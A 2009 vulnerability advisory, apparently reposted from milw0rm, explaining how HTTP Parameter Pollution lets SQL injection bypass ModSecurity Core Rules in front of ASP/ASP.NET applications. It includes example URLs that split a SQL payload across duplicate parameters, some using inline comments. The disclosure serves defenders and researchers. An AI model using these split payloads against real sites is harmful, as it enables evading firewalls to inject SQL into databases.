[FONT=Tahoma][SIZE=2] ========================================================================[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] ModSecurity (Core Rules) HPP Filter Bypass Vulnerability[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] ========================================================================[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Affected Software : ModSecurity <= 2.5.9 using ModSecurity Core Rules <= 2.5-1.6.1[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Author : Lavakumar Kuppan - lavakumar[dot]in[at]gmail[dot]com[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Advisory URL : http://www.lavakumar.com[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Severity : High[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Local/Remote : Remote[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] [Vulnerability Details][/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Modsecurity is an Open source Web Application firewall which runs as an Apache[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] module. It has a comprehensive set of rules called 'ModSecurity Core Rules' for common web application[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] attacks like SQL Injection, Cross-Site Scripting etc.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] It is possible to bypass the ModSecurity Core Rules due to the difference in behaviour[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] of ModSecurity and ASP/ASP.NET applications in handling duplicate HTTP GET/POST/Cookie[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] parameters. Using duplicate parameters has been termed as HTTP Parameter Pollution by Luca Carettoni[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] and Stefano Di Paola.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] When multiple GET/POST/Cookie parameters of the same name are passed in the HTTP request[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] to ASP and ASP.NET applications they are treated as an array collection.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] This leads to the values being concatenated with a comma inbetween them.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] For example when the following query is sent to the server:[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] -----------------------------[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] POST /index.aspx?a=1&a=2[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Host: www.example.com[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Cookie: a=5; a=6[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Content-Length: 7[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] a=3&a=4[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] -----------------------------[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] The server side interpretation of this data is as follows:[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Request.Params["a"] --> "1,2,3,4,5,6" ( if "a" was registered as a server-side control ) (ASP.NET Only)[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Request.Params["a"] --> "1,2,5,6" ( if "a" was not registered as a server-side control ) (ASP.NET Only)[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Request.QueryString["a"] --> "1,2" (ASP and ASP.NET)[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Request.Form["a"] --> "3,4" (ASP and ASP.NET)[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] This behaviour is unique to ASP and ASP.NET applications and ModSecurity does not interpret this data in the[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] same way. When dealt with multiple parameters of the same name ModSecurity matches the value of each instance[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] of the parameter seperately against its rule base. Incase of the above example ModSecurity would run '1' against[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] the rule set first then '2' and so on till '6'.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Since data is interpreted differently by the Web Application and the Firewall this produces intresting possibilities[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] for a filter bypass scenario.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] This theory was tested against the SQL Injection rule base of ModSecurity Core Rules and was found to bypass the[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] default-enabled rule set successfully.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] The following request is blocked by ModSecurity as this matches its Generic SQL Injection Attack rule.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] http://example.com/search.aspx?value=select 1,2,3 from table[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] ModSecurity Interpretation:[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] value = select 1,2,3 from table[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Web Application Interpretation:[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] value = select 1,2,3 from table[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] However the same payload can be sent to the server by splitting it using duplicate parameters like below.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] http://example.com/search.aspx?value=select 1&value=2,3 from table[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] ModSecurity Interpretation:[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] value = select 1[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] value = 2,3 from table[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Web Application Interpretation:[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] value select 1,2,3 from table[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] The attack can be made more flexible by using the inline comment feature in MS SQL servers.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] http://example.com/search.aspx?value=select/*&value=*/1,2,3/*&value=*/from/*&value=*/table[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] ModSecurity Interpretation:[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] value=select/*[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] value=*/1,2,3/*[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] value=*/from/*[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] value=*/table[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Web Application Interpretation:[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] value = select/*,*/1,2,3/*,*/from/*,*/table[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] This technique could possibly be extended to exploit other types of Web Application vulnerabilities as well.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Refer the whitepaper 'Split and Join' (see references) for more details on this attack.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] [Fix Information][/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] N/A[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] [References][/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] http://www.lavakumar.com/Split_and_Join.pdf[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] [Legal Notices][/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] The information in the advisory is believed to be accurate at the[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] time of publishing based on currently available information.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] This information is provided as-is, as a free service to the community.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] There are no warranties with regard to this information.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] The author does not accept any liability for any direct,[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] indirect, or consequential loss or damage arising from use of,[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] or reliance on, this information.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Permission is hereby granted for the redistribution of this alert,[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] provided that the content is not altered in any way, except[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] reformatting, and that due credit is given.[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] This vulnerability has been disclosed in accordance with the RFP[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] Full-Disclosure Policy v2.0, available at:[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] http://www.wiretrip.net/rfp/policy.html[/SIZE][/FONT]
[FONT=Tahoma][SIZE=2] # milw0rm.com [2009-06-11][/SIZE][/FONT]
